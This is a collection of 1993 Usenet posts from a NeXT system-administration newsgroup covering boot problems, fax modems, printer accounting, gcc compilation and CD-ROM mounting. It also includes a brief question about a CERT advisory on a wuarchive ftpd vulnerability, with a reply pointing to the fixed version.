From: Matthias Imhof <gondwana@basalt.mit.edu> Newsgroups: comp.sys.next.sysadmin Subject: wurachive ftpd and 3.0 Date: 9 Apr 1993 21:22:26 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1q4peiINNqut@senator-bedfellow.MIT.EDU> does anyone know what kind of ftp deamon NeXT used for 3.0? do we all have a compromised version? is there any cause to worry? =========================================================================== CA-93:06 CERT Advisory April 9, 1993 wuarchive ftpd Vulnerability --------------------------------------------------------------------------- The CERT Coordination Center has received information concerning a vulnerability in versions of wuarchive ftpd available before April 8, 1993. Vulnerable wuarchive ftpd versions were available from wuarchive.wustl.edu:/packages/ftpd.wuarchive.shar and many other anonymous FTP sites. We strongly recommend that any site using versions of wuarchive ftpd dating prior to April 8, 1993, immediately take corrective action or remove this service. matthias
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: Tigger <greg@pomona.claremont.edu> Subject: Workspace/Mathematica selector error? Message-ID: <A7EB3AA2B70104A7@taz.claremont.edu> Sender: news@news.claremont.edu (The News System) Organization: Pomona College Date: Fri, 9 Apr 1993 22:37:22 GMT We've got a user who is trying to run a Mathematica notebook on our NeXT under NextStep 3.1. It was causing all sorts of problems on the Mac version, and on the NeXT it resulted in Runtime error: Workspace: does not recognize selector-Jf4/9 The console then froze. The process refused to be killed, and we ended up rebooting the machine. Does anyone have any clue what that error means? Given the segment loader errors and bus errors that we were getting on the Mac side (and Mathematica's less than stellar history) I'm about ready to tell the student (and his prof) that Mathematica is just a piece of junk... -- Greg Orman greg@pomona.claremont.edu Systems Manager greg@pomona.bitnet Seaver Academic Computing Services Pomona College Standard disclaimer-type stuff
Newsgroups: comp.sys.next.sysadmin Subject: nfs authentication Message-ID: <1993Apr9.164204.269@inet.d48.lilly.com> From: Jerrod T. Carter <Jerrod@Lilly.Com> Date: 9 Apr 93 16:42:04 EST Distribution: world Organization: Eli Lilly & Company I'm trying to get Intercon's NFS/Share on my Mac to mount a disk on my NeXT. Their product requires bwnfsd, pcnfsd, or NIS to be running on the NFS server for authentication purposes. Has anyone gotten bwnfsd to run on a NeXT? This works for me with our Sun, but I'd like to get it working on our NeXTs as well. I don't read this group, so please send e-mail replies. Thanks! Jerrod Carter Jerrod@Lilly.Com
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: Booting with broken internal drive Message-ID: <66264@mimsy.umd.edu> Date: 10 Apr 93 01:46:24 GMT References: <gds.734272673@sun-3> Sender: news@mimsy.umd.edu Followup-To: comp.sys.next.sysadmin Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 In article <gds.734272673@sun-3> gds@cs.uct.ac.za writes: > How do you boot your NeXTstation if the only device on which you have a > boot image went bust? you cant. > Would a friend with a NeXT be able to create a bootable floppy yes this is your best shot. get BootFloppy (or BootFloppy3_0) off the archives - its a shell script to build a bootable floppy. Everyone should have a bootable floppy as a last resort. its cheap insurance. Obviously backups are not enough. Its simple to make, takes just a few minutes. Do yourself a favor and make one now and stick it away on a shelf. -- --------------------------------------------------- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: keen@ee.ualberta.ca (Jeff 'No. 83' Keen) Subject: Re: Wanted: Faxmodem advice Message-ID: <1993Apr10.022703.24065@kakwa.ucs.ualberta.ca> Summary: Anyone got a Viva fax 14.4 to work? Keywords: fax, modems, drivers, next Sender: news@kakwa.ucs.ualberta.ca Organization: University of Alberta Electrical Engineering References: <1993Mar30.191508.18107@worldbank.org> Date: Sat, 10 Apr 1993 02:27:03 GMT Summary pretty much says it all, I recently got a Viva 14.4/Fax modem which I know works using netfax on a sun and can't get it to work on 2.1 NS next (I know, I know 3.0 is out). Every time I set the modem to private access under the printmanager (as root) and click ok, it talks to the modem and promptly sets the modem to unavailable. What am I doing wrong? Keen@ee.bode -- ----------------------------------------------------- Jeff Keen University of Alberta alberta!bode!keen -----------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: bonney@tybrin.com Subject: how do you emulate a VT 220 terminal in a window? Message-ID: <1993Apr9.181702.9821@tybrin.com> Organization: Tybrin Corporation, Shalimar, FL Date: Fri, 9 Apr 1993 18:17:02 GMT Is there any software that will emulate a vt220 terminal in a window on the Next console? Greg Bonney bonney@tybj3.Eglin.AF.MIL
From: jmd@cube.handheld.com (Jim De Arras) Newsgroups: comp.sys.next.sysadmin Subject: GUI SNMP montior program Date: 10 Apr 1993 02:51:20 GMT Organization: Hand Held Products, Inc. Distribution: world Message-ID: <1q5cn8INNsm5@clem.handheld.com> Does anyone know of a spiffy SNMP monitor app for the NeXT? Jim -- jmd@handheld.com ------------------------------------------------------------------------------- "I'm always rethinking that. There's never been a day when I haven't rethought that. But I can't do that by myself." Bill Clinton 6 April 93
From: murshid@unit.edu (murshid) Newsgroups: comp.sys.next.sysadmin Subject: setgroups setgid problems Date: 10 Apr 1993 07:05:20 GMT Organization: University of California, San Diego Distribution: world Message-ID: <1q5rjg$n1u@network.ucsd.edu> setgroups: Not owner Password: su: setgid: Not owner Any ideas? Jerry jerry@unit.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: cedman@princeton.edu (Carl Edman) Subject: Re: One way to forward mail to different mailboxes. In-Reply-To: bryan@kolsky.tamu.edu's message of 9 Apr 1993 00:39:42 GMT To: bryan@kolsky.tamu.edu (Bryan Milligan) Message-ID: <CEDMAN.93Apr9094037@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1q2gkeINNj6n@tamsun.tamu.edu> Date: Fri, 9 Apr 1993 13:40:37 GMT In article <1q2gkeINNj6n@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes: Since I posted my original question on how to forward mail to different mailboxes, I've received numerous requests for the answers. The first thing to do is to get the following: mailforward (readily available) perl (also readily available) Uncompress and untar and you're halfway there. The trick to installing perl on a NeXT is to be aware the the include files are in two different directories: /usr/include/ansi and /usr/include/bsd. Either tell the configure script to look in both places or create one linked directory, otherwise it's pretty straightforward. Mailforward is a perl script that sorts the incoming mail according to user specified strings in the mail header. Installation is relatively simple; however, to work correctly the destination mailboxes must not be open or all the mail winds up in Active.mbox (or the default), even if mail is hidden. Without in any way shape means or form wanting to dump on the fine mailforward script by Chris Paris, there are a number of advantages to using appnmail from the mailapp-utilities on the archives (well, obviously I think so, otherwise I would not have written as I already had mailforward available). 1. It does not require perl. 2. It handles locked mailboxes better ie. it waits until it can get a lock and appends the message then. 3. It is more of a proper UN*X tool in that it does one task and does it well ie. it appends messages to Mail.app mailboxes while leaving the decision to which mailbox to append the message to programs like deliver or procmail or even the user all of which will be much cleverer about it than either it or mailforward could be. It also has a man page. So if you are happy with mailforward, keep using it. On the other hand, if you want to append next mail as an integrated part of one of the common mail handling systems, very likely you are better off with appnmail. Such small utilities, so many words... Carl Edman
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: how do you emulate a VT 220 terminal in a window? Message-ID: <1993Apr10.110222.841@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <1993Apr9.181702.9821@tybrin.com> Date: Sat, 10 Apr 93 11:02:22 GMT In article <1993Apr9.181702.9821@tybrin.com> bonney@tybrin.com writes: > Is there any software that will emulate a vt220 terminal in a window > on the Next console? > > Greg Bonney > bonney@tybj3.Eglin.AF.MIL There is a package written by Scott Hess that emulates a vt100 but does allow you to add your own function keys if you just need more function keys to emulate the vt220. If you need full vt220 emulation I would still contact him about it and also look into the emulator Communicae. Stuart from Scott Hess is by far the least expensive and is very well built. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Re: Printer (# of pages) accounting Message-ID: <1993Apr10.150918.22026@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <1993Apr9.174047.22520@linus.mitre.org> Date: Sat, 10 Apr 1993 15:09:18 GMT In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org (Jason D. Blue) writes: > > Hi there, > > Is there an easy way to keep track of the number of pages printed on > the NeXT printers? Using the printcap "af" option provides > accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but > not of the number of pages printed. > > Also, on other printers, you can find out the number of pages > printed since the printer was installed - usually listed on the > banner page produced after powerup. Can the NeXT printer > provide this information as well? > I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0, which I am told does it automatically with the accounting options (/usr/etc/pac, and the if and af options in printcap). > Thank you, > Jason > -- > Jason D. Blue > jblue@mitre.org > The MITRE Corporation, McLean VA
Newsgroups: comp.sys.next.sysadmin From: jreiss@magnus.acs.ohio-state.edu (Joseph W Reiss) Subject: Floppy boot problem Message-ID: <1993Apr10.161324.4334@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Sat, 10 Apr 1993 16:13:24 GMT HELP !!! I purchased a NeXT 030 cube last year. I then bought the Release 3 operating system and a CD drive to load it. Then the problems started. This first thing I found out that no one told me when I bought the Release 3 OS was that I needed a floppy disk drive to load the software. It took a while and two vendors but I finally got everything that I currently THINK I need. I hooked everything up as follows: SCSI cable from the NeXT to the CD drive. Daisy chain SCSI cable from the CD drive to the floppy disk drive. CD drive is at address 6. Floppy drive is at address 4. The floppy drive has a termination switch and it is set to on. I then tried to boot the software. I used the boot rom and the command "bsd(1,0,0)sdmach rootdev=sd1". To this I have gotten three different responses. One is that it times out and eventually prints the message: no SCSI disk The second is that I get the series of messages: Bad version 0xf0f0f0f0 Bad cksum Bad cksum Bad cksum Bad label The third response only happened once. It was stuck in a loop printing out some message over and over. The message started with "sc:" but I cannot remember the rest of the message. It had something to do with being unable to locate the device. Also, if I try to boot from the floppy without putting the diskette in, I get the following message: booting SCSI target 4, lun 0 waiting for drive to come ready It then continues to print dots until I insert the diskette. Apparently it knows the drive is there and can sense media present. Does anyone have any idea what I am doing wrong? I took the CD ROM and the floppy diskette along with the floppy drive to the representative of the CONE user group at Ohio State. He tried it on his 040 system and determined that the drive worked and he was able to read the files from the floppy. He also booted from the floppy. Please tell me I have not reached a dead end! Since this problem is not a general one but is specific to my system, please send responses through email. Thanks in advance for all help. -- __________ | jreiss@magnus.acs.ohio-state.edu | |___) | """""""""""""""""""""""""""""""""""""""""""""""""""""""" \_/OE | \EISS | Captain, it's too dangerous for you to lead the away `---- | team. Besides, it's my turn. You promised! Pleeease!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: masud@invnext.worldbank.org (masud cader) Subject: Floppy disk causes panic! Message-ID: <1993Apr10.213543.24952@worldbank.org> Keywords: panic, workspace error, floppy Sender: news@worldbank.org Organization: The World Bank, Washington, DC, USA Date: Sat, 10 Apr 1993 21:35:43 GMT I have experienced a serious error when I inserted a 800K Mac formatted floppy into a NeXTStation running 3.0. I was able to do this four or five times with the same diskette. Apparently the diskette was not formatted properly...but I do not think it should cause a panic. The messages from /usr/adm/messages follow. Apr 10 17:13:11 invnext syslog: Workspace logged in Apr 10 17:13:21 invnext mach: DOS File System: Initialized Apr 10 17:13:23 invnext mach: trap: type 0x14 fcode 0 rw 0 faultaddr 0x0 Apr 10 17:13:23 invnext mach: trap: pc 0x10fec0de sp 0x3ffff5c sr 0x2010 Apr 10 17:13:23 invnext mach: trap: cpu 0 th 0x10166ea0 proc 0x101668e0 pid 171 pcb 0x10ff200c Apr 10 17:13:23 invnext mach: traceback: fp 0x10ff2efc Apr 10 17:13:23 invnext mach: called from pc 10fec27e fp 10ff2f0c 4-args 00000000 10ff0000 10ff2f30 10fee13a Apr 10 17:13:23 invnext mach: called from pc 10fee13a fp 10ff2f30 4-args 1011fbba 00000000 040a3058 10147578 Apr 10 17:13:23 invnext mach: called from pc 0402dbae fp 10ff2f70 4-args 10147578 101159ac 03fffa38 000067a8 Apr 10 17:13:23 invnext mach: called from pc 0409351e fp 10ff2fac 4-args 000067a8 00000004 03fffa38 00000001 Apr 10 17:13:23 invnext mach: called from pc 04001da4 fp 03fffa6c 4-args 000000a7 00006828 000067a8 00000004 Apr 10 17:13:23 invnext mach: last fp 0x3fffa6c Apr 10 17:13:23 invnext mach: panic: (Cpu 0) zero divide Apr 10 17:13:23 invnext mach: NeXT ROM Monitor 2.5 v66 Apr 10 17:13:23 invnext mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K Apr 10 17:13:23 invnext mach: Apr 10 17:13:26 invnext syslogd: going down on signal 15 Apr 10 17:16:56 invnext mach: Killing all processes NeXT ROM Monitor 2.5 v66 Suggestions? -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Masud Cader Trading Analytics The World Bank masud@invnext.worldbank.org
From: mike@stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Wanted: Faxmodem advice Keywords: fax, modems, drivers, next Message-ID: <1993Apr10.213054.362@kth.se> Date: 10 Apr 93 21:30:54 GMT References: <1993Mar30.191508.18107@worldbank.org> <tlm.733542626@scl1.al.iastate.edu> Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, Stockholm, Sweden In article <tlm.733542626@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes: >My supra fax modem worked right out of the box like a charm. The DFax >software does all you ask and will soon support voicemail as well. Both are >quite inexpensive and well worth the $. Hear! Hear! Couldn't agree more. My Supra has Just Worked (tm) and Done The Right Thing (tm) from the get go. Couldn't be more pleased. >Oh yeah, the DFax software will soon work wih the Zyxel, and the NXFax with >the Supra, so you can mix and match from these various items. A Good Thing (tm). >Hope this helps --- Tom This might not help much, but at least I've got my advocating done... ;^) -Mike -- Mike Henry INET : mike@stacken.kth.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
From: mike@stacken.kth.se (Mike Henry) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Re: File transfer: Unix to/from NeXT Message-ID: <1993Apr10.214034.554@kth.se> Date: 10 Apr 93 21:40:34 GMT References: <1pi2hrINNqt9@fred.cs.city.ac.uk> Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, Stockholm, Sweden In article <1pi2hrINNqt9@fred.cs.city.ac.uk> mb108@cs.city.ac.uk (omo Adelakun Toyin K) writes: >What's the best means of transferring files between a non-networked pair >of systems: a NeXT system and another Un*x box, say an IBM RS/6000? I've >tried tar'ing files to diskette, and the NeXTStation doesn't wanna know! >("invalid device" or "can't open device" - paraphrased.) tar "formatted" disks (i.e. tar'ing directly to the fd device) aren't standard across any platforms. You may or may not succeed with this between different vendors, most likely not... However, I suggest you use DOS format (which IBM machine undoubtably support), by tar'ing to a file, compressing the result, and then copying the file.tar.Z to the disk. NeXT's will be able to read this one, and you can proceed to zcat /unlabeled | tar xvf - or whatever may be the case. Good Luck! >Toyin. -Mike -- Mike Henry INET : mike@stacken.kth.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Printer (# of pages) accounting Message-ID: <C5B53q.70G@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Apr9.174047.22520@linus.mitre.org> <1993Apr10.150918.22026@linus.mitre.org> Date: Sun, 11 Apr 1993 07:06:47 GMT jblue@ocotillo.mitre.org (Jason D. Blue) writes: >In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org >(Jason D. Blue) writes: >> >> Hi there, >> >> Is there an easy way to keep track of the number of pages printed on >> the NeXT printers? Using the printcap "af" option provides >> accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but >> not of the number of pages printed. >> >> Also, on other printers, you can find out the number of pages >> printed since the printer was installed - usually listed on the >> banner page produced after powerup. Can the NeXT printer >> provide this information as well? >> >I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0, which I am told >does it automatically with the accounting options (/usr/etc/pac, and the if >and af options in printcap). Huh? Are you sure that it doesn't work in 2.1? It did for me. The number is the number of pages in the job. It was that in 2.1 and it's still that way in 3.0. I kludged together a script that rsh's out to our print servers, grabs the accounting files, filters, adds up, and e-mails me a report every night. Perl is the best tool for things like this. As far as number of pages ever printed - not to my knowledge. The printer doesn't have the kind of nonvolatile memory and CPU to hold that kind of information, as far as I know. I think NeXT printers pretty much go forever...we have a few that are 4.5 years old that have been abused their entire lifetimes... -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Floppy disk causes panic! Message-ID: <1993Apr11.005555.490@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Apr10.213543.24952@worldbank.org> Distribution: na Date: Sun, 11 Apr 1993 00:55:55 GMT In article <1993Apr10.213543.24952@worldbank.org> masud@invnext.worldbank.org (masud cader) writes: > I have experienced a serious error when I inserted a 800K Mac formatted floppy > into a NeXTStation running 3.0. > > I was able to do this four or five times with the same diskette. Apparently > the diskette was not formatted properly...but I do not think it should cause a > panic. The messages from /usr/adm/messages follow. It shouldn't cause a panic, but NeXT's don't interoperate with 800K Mac disks--only with 1.4M Mac disks. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: bnocker@cosy.sbg.ac.at (Bernhard Nocker) Subject: Re: Using Solaris 2.1 as mail host to BSD machines Message-ID: <C5BGs5.Mpr@cosy.sbg.ac.at> Sender: news@cosy.sbg.ac.at Organization: University of Salzburg / Austria References: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> Date: Sun, 11 Apr 1993 11:19:17 GMT In article <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) writes: > matthews@oberon.umd.edu (Mike Matthews) writes: > > >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT > >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's > >mounting it as /usr/spool/mail, and that part seems to work OK. > > >The problem is, even though the sendmail.cf file (which is a main.cf file > >with the asked-for values) specifies mode 0600 for the files, they come out > >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure. > > >2) what's up with mail? I have no idea what's going on there. > > Ok, we had the same problems here with Solaris 2.1 as a file server for our > NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong > filemode for that file. All bits are set. After tracing the network traffic > it was clear. [...] > > Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 19:43:28 > PDT 1992). I don't know if there is also a problem with 2.1, but I think a > similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!]. > [...] I do not agree that the above patch is a solution. I am not sure that this problem has anything to do with Solaris2.1 since we use SunOS4.1.x and here the same problem (if it is one) should occur. Chmod of the users mail file should in my opinion only occur when outgoing mail to inhouse users are treated by NeXTs sendmail. But this is not recommended. Instead use sendmail.subsidiary.cf as a lik to sendmail.cf and add the Solaris-machine as mailhost. Then local mal is transferred via ethernet and not via direct file change. This avoids hanging the machine when the mailserver is down too. -Bernhard -- Bernhard Nocker University of Salzburg's Department of Computing Studies Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at Fax: +43-662-8044/6316 or +43-662-8044/611
From: pjoe@cubenet.sub.org (Peter Eybert) Newsgroups: comp.sys.next.sysadmin Subject: Re: Bad super-block...now what? Date: 9 Apr 1993 22:40:01 +0100 Organization: CUBENet Multiline BBS Sender: root@salyko.cubenet.sub.org Message-ID: <1q4qfh$a9i@salyko.cubenet.sub.org> References: <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu (Kenneth Chang) writes: [...] >BAD SUPER-BLOCK: MAGIC NUMBER WRONG >Trying to specify an alternative super-block via the -b option does diddly. >(Says the magic number is still wrong.) >In addition, "disk -i /dev/rsd0a" tells me: >Warning: 364 sector(s) in last cylinder unallocated Some time ago, I had essentially the same problem. Booting in single-user mode and running a fsck -y /dev/rsd0a as described in NextAdmin/06_Troubleshooting (NS3.0) worked it out. The main thing was the "y"-option in fsck. I hope this will help you. Peter. -- Peter Eybert pjoe@cubenet.sub.org Appenzeller Str. 123 voice +49-89-7593734 8000 Muenchen 71
From: brian@systemix.com (Brian Cuthie) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Wanted: Faxmodem advice Date: 11 Apr 1993 09:01:55 -0400 Organization: Systemix Software, Inc. Message-ID: <1q94s3INN1h2@systemix.com> References: <1993Mar30.191508.18107@worldbank.org> <tlm.733542626@scl1.al.iastate.edu> <1993Apr10.213054.362@kth.se> Keywords: fax, modems, drivers, next I highly recommend the ZyXEL and NXFax combo available from Black&White Software. Besides doing all the right things when it comes to multiplexing Incoming/Outgoing DATA/FAX calls, it also supports identa-ring. What I've done, for a year or so now, is to use an identa-ring number for incoming FAX calls. Then, when someone calls the FAX number the modem knows to answer immediately. Otherwise, the modem ignores the call and either someone answers it, or it rolls over to voice mail. Of course, all of this is going to be irrelevant in less than a week when my ISDN service gets installed. Cheers, Brian -- Brian Cuthie Voice: (410) 290-8813 Systemix Software, Inc. Email: brian@systemix.com
Newsgroups: comp.sys.next.sysadmin From: alberto@parsec.mixcom.com (Alberto Ricart) Subject: NIST Synchronicity Posted to the Archives Message-ID: <1993Apr10.223142.765@parsec.mixcom.com> Organization: SmartSoft, Inc. Date: Sat, 10 Apr 1993 22:31:42 GMT Well tired of having my clock drift (and having a boring afternoon) I have implemented a Preferences module that will synchronize you with the NIST cesium clocks. It's configurable. And located where it should be. It's shareware, so don't forget to send your fee's in... Have fun, and report any problems/bugs that you may find. -- Manuel Alberto Ricart alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: kramer@fragile.uucp (Mike Andrews) Subject: Archive Viper 2150S dump params (sizes) Message-ID: <C5Bv24.8y@fragile.uucp> Sender: kramer@fragile.uucp (Mike Andrews) Organization: Terminal Frost Date: Sun, 11 Apr 1993 16:27:40 GMT This, and the problem I had (but solved without asking) about fixed vs variable length blocks, should probably be in the FAQ (cough, cough)... (If it is, and I missed it, sorry, I feel dumb now :-) Anyway: This too has been asked before, but I didn't catch the answer -- What's the optimal parameters to dump (or gnutar) for an Archive Viper 2150S tape drive using DC6150 and DC6250 tapes? (I'm assuming 6250 (250mb) tapes work too, since a few came with the drive (used)...) The DC6150 tapes are 620 feet, the 6250's are 1020 feet. Somehow I don't think the default density is right, though... Makes for much less than 150mb tapes. Thanks... -- Mike Andrews root@fragile.uucp [NeXTmail OK] kramer@wittenberg.edu (school) "This guy's pretty bizarre, Gus." kramer@mik.uky.edu (hometown) -- Primus
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc From: Zacharias J. Beckman <zac@dolphin.com> Subject: Help - Installing "Permanent" CD-ROM Mount Point Message-ID: <1993Apr11.172947.614@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Software Distribution: usa Date: Sun, 11 Apr 1993 17:29:47 GMT Help! Has anyone had success making a CD-ROM device mount permanently? I want to have access to the BANG CD-ROM without interruption by mounting it on our server's /LocalLibrary/CD directory. However, whenever someone logs in as root or reboots the machine, Bad Things happen: 1. After reboot, the CD has not been mounted, so the export is lost; I must manually login and do an export. 2. Once a user logs out (or sometimes logs in) on the server, they are prompted with a panel which says "Eject disk in external drive 4" (the CD-ROM drive). The CD is apparently unmounted at this point. What I've done so far to try and achieve the desired result: first, I have a mount command in rc.local, and I have NetInfo export the /LocalLibrary/CD directory. The mount command is: (mount -ot ro,removable,filesystem=CDROM cfs /dev/rsd4h /LocalLibrary/CD) & >/dev/console (All on one line, of course). Half the time this command doesn't seem to work. The other half it does, but the problems in #1 and #2 are encountered. I tried adding the CD to the fstab, but that doesn't seem to work either, for reasons which I don't understand. The server has NeXTSTEP 3.0 on it. Any help would be greatly appreciated. Please e-mail suggestions to me and I'll summarize on the net. Thanks in advance! -- Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Print problem since 3.0 (can't connect to window server) Message-ID: <C5CB15.1Jo@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Sun, 11 Apr 1993 22:12:40 GMT When I upgraed to 3.0 over Xmas break, something weird happened to printing. If someone was logged into the print server, there was no problem. However, if no one was logged in, then only lpr could send a job. If a user sent a file via the print panel, then it blocked the queue, and lpd-errs showed up with one line, "Cannot connect to window server". It seemed to happen on any server which was (don't ask, I was forced to do it) a netboot machine. I was able to get around it by switching the printer to a local boot machine and the problem disappeared. Now it's happening to a local boot machine, 3-4 months later. Has anyone else seen this? If not, I'll report a bug. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
From: akonstantino@mac.cc.macalstr.edu Newsgroups: comp.sys.next.sysadmin Subject: gcc-2.3.3 won't compile on my 3.0 Message-ID: <1993Apr11.174046.4549@mac.cc.macalstr.edu> Date: 11 Apr 93 17:40:45 -0600 Organization: Macalester College I have been trying to compile gcc-2.3.3 on NS3.0 but I ran into problems. I configured using ./configure --target=m68k-next-mach and then tried to build the compiler with make LANGUAGES='c' Which run into the following error : if [ -f /usr/bin/ranlib -o -f /bin/ranlib ] ; then ranlib tmplibgcc.a; else true; fi mv tmplibgcc.a libgcc.a ./xgcc -B./ -DIN_GCC -g -DNO_MEM -DNO_STDDEF -DNO_LONG_DOUBLE_IO -O0 -I. -c enquire.c ./xgcc -B./ -DIN_GCC -g enquire.o -o enquire ld: Undefined symbols: ___libc_init __NXArgc __NXArgv __environ collect: /bin/ld returned 1 exit status *** Exit 1 Now, I tried having enquire.c compiled and linked by cc but that only moved the problem to a later stage. From what I understand the problem is in the linking of libgcc2.a. Anything which is linked using ./xgcc at this stage results in the same ld error. I have found that NXArgc and NXArgv are declared in <defaults/defaults.h> as : extern int NXArgc; extern char **NXArgv; while environ is declared in <bsd/libc.h> as extern char **environ; I tried to link libgcc2.a using -lsys_s and -lNeXT_s following the advice of Vince DeMarco (thanks) but that did not seem to help. What is all the more frustrating is that a couple of people have already mentioned that they compiled gcc-2.3.3 without any problems on 3.0 which started to make me suspect my system. However, a diff comparison between the CD and the hard drive libraries and headers did not show any differences. I am starting to run out of options ... I am even entertaining the thought of reinstalling 3.0. I would really appreciate some advice on how to compile gcc-2.3.3 or how to test that my cc libraries are not at fault. Thanks in advance for your help. Alexander V. Konstantinou akonstantino@macalstr.edu Math/CS Student Systems Manager akonstan@math.macalstr.edu Macalester College (NeXT mail OK in math) 1600 Grand Ave. St.Paul MN 55105 BITNet akonstantino@macalstr
Newsgroups: comp.sys.next.sysadmin From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: Re: wurachive ftpd and 3.0 Message-ID: <C5CpyH.8vr@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <1q4peiINNqut@senator-bedfellow.MIT.EDU> Date: Mon, 12 Apr 1993 03:35:05 GMT In article <1q4peiINNqut@senator-bedfellow.MIT.EDU> Matthias Imhof <gondwana@basalt.mit.edu> writes: >does anyone know what kind of ftp deamon NeXT used for 3.0? do we all have a >compromised version? is there any cause to worry? > > =========================================================================== > CA-93:06 CERT Advisory > April 9, 1993 > wuarchive ftpd Vulnerability > Standard NeXT ftpd is not the wuarchive ftpd. I have no idea what the vulnerability is, but the newest version of wuarchive-ftpd fixes it, and it is available in wuarchive.wustl.edu:/pub/packages/wuarchive-ftpd It claims to work under NS3.0, and I am currently building it. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc From: eps@shell.portal.com (Eric Schwartz) Subject: Dvorak keyboards? Message-ID: <C5CspE.Awq@unix.portal.com> Followup-To: comp.sys.next.sysadmin Sender: news@unix.portal.com Organization: Portal Communications Company Date: Mon, 12 Apr 1993 04:34:24 GMT Has anyone had any luck turning their NeXT keyboards into Dvorak format? I picked up a Dvorak.keymapping from the archives ages ago, and it appears to be in the right place (/NextLibrary/Keyboards), but Preferences tells me "Can't use that keyboard file" when I click on the Dvorak entry in Keyboard Preferences. Thanks, Eric eric@whyanext.com :write -- Eric Schwartz eps@shell.portal.com
